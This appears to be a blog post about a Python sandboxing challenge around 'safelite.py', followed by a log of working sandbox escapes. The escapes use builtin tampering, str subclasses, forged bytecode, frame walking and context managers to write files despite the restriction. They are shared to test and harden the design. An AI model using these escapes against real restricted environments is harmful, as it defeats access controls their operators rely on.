Update: You can find out more in my new article: Paving the Way to Securing the Python Interpreter
The challenge is simple:
Open a fresh Python interpreter and do:
>>> from safelite import FileReader
You can use FileReader to read files on your filesystem
Now find a way to write to the filesystem from your interpreter
You can find the latest version of safelite.py here:
I will keep safelite.py updated as new exploits and workarounds are found until we hopefully end up with a version we can be confident about. [VERSION attribute added on Steven D'Aprano's recommendation.]
If enough smart hackers look at this and it holds up, Guido promises to accept a patch which would enable this function-based approach to security on both App Engine and future Python versions.
So, please try the challenge and let me know how you find it in the comments. Thanks!
Note: The aim of this isn't to protect Python against crashes/segfaults or exhaustion of resources attacks, so those don't count.
Good luck and thanks! =)
Exploits Found & Fixed So Far:
Victor Stinner and Tim Wintle found the first exploit:
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> open('0wn3d', 'w').write('w00t\n')[Fixed in v2]
Guido van Rossum and Mark Eichin came up with this devious:
>>> class S(str):
... def __eq__(self, o): return 'r' == o
>>> f = FileReader('w00t', S('w'))
>>> f.close() # creates an empty file called 'w00t'[Fixed in v3]
clsn took it further and bypassed the fix in v4:
>>> class S(str):
... def __eq__(self, o): return 'r' == o
... def __str__(self): return self[Fixed in v5]
Mike Rooney started messing with the assumptions of builtins being unaltered:
>>> __builtins__.str = S
[Fixed in v5]
Farshid Lashkari then took it to a whole new elegant level:
>>> _real_file = None
>>> def _new_isinstance(obj,types):
... global _real_file
... if _real_file is None and obj.__class__.__name__ == 'file':
... _real_file = obj.__class__
... return _old_isinstance(obj,types)
>>> __builtins__.isinstance = _new_isinstance
>>> FileReader('nul')
>>> f = _real_file('foo.txt', 'w')[Fixed in v5]
Guido van Rossum noted that FileReader's __metaclass__ was accessible:
>>> f = FileReader('/etc/passwd')
>>> kall = f.__class__.__metaclass__.__call__.im_func
>>> kall(f.__class__.__metaclass__, [('foo', 47)])
<type 'list'>
>>> f.__class__.__metaclass__.foo
47[Locked-down in v6 before he could do any real damage ;p]
Paul Cannon did the unexpected with his super hardcore exploit:
>>> __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(
... 2, 2, 4, 67,
... 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S',
... (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,)
... )
>>> try:
... FileReader('foo', 2)
... except:
... pass
>>> stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')[Fixed in v6 — but the principles can still be used. Paul Cannon explains in depth.]
Daniel Diniz emailed in with this devastating mugging:
from safelite import FileReader
# Let's build a fake module
warnings = __builtins__.__class__('warnings')
# Fill it with deception
warnings.default_action = "ignore"
# And provide a supporting thug
def __import__(*args):
print args
try:
print "How nice:\n", args[1].keys()
global sys
sys = args[1]['sys']
except Exception, v:
print "Exception:", v
return warnings
# Put the bogus module at the doorstep...
__builtins__.warnings = warnings
# and have the thug replacing the doorman
__builtins__.__import__ = __import__
# An unsuspecting costumer passes by...
FileReader('safelite.py').seek(1.1)
# ... and is brutally mugged :)
print sys
print dir(sys)[Fixed in v7]
Nick Coghlan got evil with context managers:
>>> class EvilCM(object):
... def __enter__(self):
... return self
... def __exit__(self, exc_type, exc, tb):
... tb.tb_next.tb_frame.f_locals['open_file']('w00t', 'w').write('yay!\n')
... return True
>>> with EvilCM():
... FileReader(10, 12)[Fixed in v8]
Guido van Rossum emailed in with ways to trick trusted code to evaluate unsafe code in its own globals!! [See also his similar hack with eval in the comments below].
>>> f = FileReader('/etc/passwd')
>>> f.__class__.__int__ = input
>>> f.read(f)
(fileobj.__class__('/tmp/w00t', 'w').write('w00t\n'), 0)[1][Fixed in v9]
Found an exploit yet?? Try safelite.py and let me know!